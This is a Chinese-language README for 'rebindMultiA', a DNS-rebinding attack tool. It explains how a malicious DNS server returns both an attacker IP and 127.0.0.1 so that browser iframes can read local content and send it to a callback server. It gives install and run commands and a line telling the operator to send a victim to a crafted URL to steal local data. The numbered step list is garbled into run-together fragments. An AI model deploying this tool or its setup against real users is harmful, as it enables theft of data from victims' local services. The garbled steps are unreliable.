rebindMultiA 是一款用于执行多 A 记录重绑定攻击(Multiple A Record Rebind Attack)的工具。
rebindmultia.com 是我搭建的一个域名,用于辅助此类攻击。它使每个 IP 都成为 [IP].ns.rebindmultia.com 域名的权威名称服务器。例如,13.33.33.37.ns.rebindmultia.com 的权威名称服务器是 13.33.33.37.ip.rebindmultia.com,该服务器(如您所料)解析为 13.33.33.37。
多 A 记录重绑定攻击是 DNS 重绑定的一种变体,它利用攻击者能在 DNS 响应中返回两个 IP 地址的能力,以及浏览器在第一个 IP 无响应时倾向于回退到 DNS 响应中第二个 IP 的特性。在此攻击中,攻击者将配置一个恶意 DNS 服务器和两个恶意 HTTP 服务器。DNS 服务器将返回两个 A 记录:
127.0.0.1.target.13.33.33.37.ns.rebindmultia.com. 0 IN A 13.33.33.37
127.0.0.1.target.13.33.33.37.ns.rebindmultia.com. 0 IN A 127.0.0.1
受害者的浏览器会连接第一个 IP,并与攻击者的第一个恶意 HTTP 服务器开始交互。该服务器返回的页面包含两个 iframe,一个指向 /steal,另一个指向 /rebind。/steal iframe 会加载一个恶意页面,用于访问第二个 iframe 并抓取内容。/rebind 端点在收到请求时会返回 302 重定向到 /,并关闭第一个恶意 HTTP 服务器。因此,当浏览器再次访问攻击者的 HTTP 服务器时,会发现端口已关闭。此时浏览器会回退到第二个 IP。一旦目标内容在第二个 iframe 中加载完成,第一个 iframe 即可访问它,窃取数据并外传到攻击者的第二个恶意 HTTP 服务器——回调服务器。
此攻击仅在 Windows 环境下有效。 Linux 和 Mac 系统会优先使用私有 IP,攻击者的服务器永远不会被查询。

127.0.0.1.target.13.33.33.37.ns.rebindmultia.com。server.py 中)解析请求的 DNS 名称,并返回两个 A 记录:13.33.33.37 和 127.0.0.1。server.py 中),加载包含两个 iframe 的 /parent 页面。/steal。/rebind,该请求返回 302 重定向到 /(HTTP 服务器会在处理此请求后退出)。302 重定向到 /。/,但连接失败。127.0.0.1,并连接到该服务器,在 iframe 中加载页面。pip3 install -r requirements.txt
python3 server.py --help
usage: server.py [-h] [-p PORT] [-c CALLBACK_PORT] [-d DNS_PORT] [-f FILE] [-l LOCATION]
optional arguments:
-h, --help 显示此帮助信息并退出
-p PORT, --port PORT 指定在目标 IP 上攻击的端口。默认:80
-c CALLBACK_PORT, --callback-port CALLBACK_PORT
指定回调 HTTP 服务器的端口。默认:31337
-d DNS_PORT, --dns-port DNS_PORT
指定 DNS 服务器的端口。默认:53
-f FILE, --file FILE 指定在第一个 iframe 中显示的 HTML 文件(即 "steal" iframe)。默认:steal.html
-l LOCATION, --location LOCATION
指定要在目标上窃取的数据的位置。默认:/
如果遇到以下错误:
┬─[justin@RhynoDroplet:~/p/rebindMultiA]─[14:26:24]─[G:master=]
╰─>$ python3 server.py
Traceback (most recent call last):
File "server.py", line 2, in <module>
from http.server import HTTPServer, BaseHTTPRequestHandler, ThreadingHTTPServer
ImportError: cannot import name 'ThreadingHTTPServer'
则需要使用更新版本的 Python。要求 Python 3.7 及以上。
此操作必须在公网可访问的 IP 上执行。
git clone https://github.com/Rhynorater/rebindMultiA
cd rebindMutliA
pip3 install -r requirements.txt
echo "Send your victim to http://127.0.0.1.target.`curl -s http://ipinfo.io/ip`.ns.rebindmultia.com/parent to exfil 127.0.0.1"
sudo python3 server.py
steal iframe 访问新加载的第二个 iframe,抓取内容。steal iframe 将结果发送回攻击者的回调服务器。